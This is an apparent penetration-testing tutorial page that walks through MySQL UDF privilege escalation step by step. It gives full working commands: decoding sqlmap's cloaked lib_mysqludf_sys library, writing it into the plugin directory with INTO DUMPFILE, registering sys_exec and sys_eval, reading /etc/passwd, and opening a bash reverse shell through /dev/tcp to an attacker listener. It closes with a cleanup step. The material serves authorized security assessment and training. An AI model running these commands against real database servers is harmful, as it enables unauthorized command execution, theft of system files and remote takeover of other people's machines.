Skip to content

MySQL UDF Privilege Escalation

3 min read Created Mar 26, 2026 Last updated Mar 26, 2026

MySQL user-defined functions (UDFs) are custom functions loaded from a shared library on the server filesystem. When an attacker can write a malicious shared library to the MySQL plugin directory and load it as a UDF, they gain the ability to execute OS commands through SQL queries. The commands run as the MySQL process user: typically mysql on Linux. On systems where MySQL runs as root this is direct root code execution. This technique requires FILE privilege, CREATE ROUTINE privilege, and write access to the plugin directory.

MySQL UDF Privilege Escalation Prerequisites

Confirm the required privileges and identify the plugin directory:

┌──(kali㉿kali)-[~]
└─$ mysql -h $TARGET_IP -P ${PORT:-3306} -u $USER -p$PASSWORD -e "SHOW GRANTS FOR CURRENT_USER(); SHOW VARIABLES LIKE 'plugin_dir'; SHOW VARIABLES LIKE 'secure_file_priv';"
plugin_dir: /usr/lib/mysql/plugin/
secure_file_priv:

Required for this technique:

  • FILE privilege to write the shared library to disk
  • CREATE ROUTINE privilege to register the UDF function
  • secure_file_priv empty or set to a path that includes the plugin directory
  • Plugin directory writable by the MySQL process user

Get the UDF Shared Library from sqlmap

sqlmap ships precompiled UDF libraries for both Linux and Windows. The .so_ files are XOR/zlib-cloaked (to avoid AV detection at rest) and must be decoded with sqlmap's own cloak.py utility before use:

┌──(kali㉿kali)-[~]
└─$ find / -name 'lib_mysqludf_sys*' 2>/dev/null
/usr/share/sqlmap/data/udf/mysql/linux/64/lib_mysqludf_sys.so_
┌──(kali㉿kali)-[~]
└─$ python3 /usr/share/sqlmap/extra/cloak/cloak.py -d -i /usr/share/sqlmap/data/udf/mysql/linux/64/lib_mysqludf_sys.so_ -o /tmp/lib_mysqludf_sys.so

Convert the Library to a Hex String

MySQL's INTO DUMPFILE requires the binary content as a hex literal to avoid encoding issues:

┌──(kali㉿kali)-[~]
└─$ xxd -p /tmp/lib_mysqludf_sys.so | tr -d '\n' > /tmp/udf.hex
┌──(kali㉿kali)-[~]
└─$ echo "SELECT 0x$(cat /tmp/udf.hex) INTO DUMPFILE '/usr/lib/mysql/plugin/lib_mysqludf_sys.so';" > /tmp/write-udf.sql
┌──(kali㉿kali)-[~]
└─$ mysql -h $TARGET_IP -P ${PORT:-3306} -u $USER -p$PASSWORD < /tmp/write-udf.sql
Query OK, 1 row affected (0.02 sec)

Create the UDF Function

Load the shared library and create the UDF function that exposes OS command execution:

┌──(kali㉿kali)-[~]
└─$ mysql -h $TARGET_IP -P ${PORT:-3306} -u $USER -p$PASSWORD -e "CREATE FUNCTION sys_exec RETURNS INTEGER SONAME 'lib_mysqludf_sys.so'; CREATE FUNCTION sys_eval RETURNS STRING SONAME 'lib_mysqludf_sys.so';"

Execute OS Commands via the UDF

sys_eval returns command output as a string. sys_exec executes silently and returns the exit code:

┌──(kali㉿kali)-[~]
└─$ mysql -h $TARGET_IP -P ${PORT:-3306} -u $USER -p$PASSWORD -e "SELECT sys_eval('id');"
+-----------------------------+
| sys_eval('id')              |
+-----------------------------+
| uid=112(mysql) gid=117(mysql) groups=117(mysql) |
+-----------------------------+
┌──(kali㉿kali)-[~]
└─$ mysql -h $TARGET_IP -P ${PORT:-3306} -u $USER -p$PASSWORD -e "SELECT sys_eval('cat /etc/passwd');"

Get a Reverse Shell via UDF

┌──(kali㉿kali)-[~]
└─$ nc -lvnp $LPORT
┌──(kali㉿kali)-[~]
└─$ mysql -h $TARGET_IP -P ${PORT:-3306} -u $USER -p$PASSWORD -e "SELECT sys_exec('bash -c \"bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1\"');"

Clean Up After the Assessment

Remove the UDF function and shared library after the assessment to avoid leaving persistent backdoors:

┌──(kali㉿kali)-[~]
└─$ mysql -h $TARGET_IP -P ${PORT:-3306} -u $USER -p$PASSWORD -e "DROP FUNCTION IF EXISTS sys_exec; DROP FUNCTION IF EXISTS sys_eval;"
┌──(kali㉿kali)-[~]
└─$ mysql -h $TARGET_IP -P ${PORT:-3306} -u $USER -p$PASSWORD -e "SELECT sys_exec('rm /usr/lib/mysql/plugin/lib_mysqludf_sys.so');"

References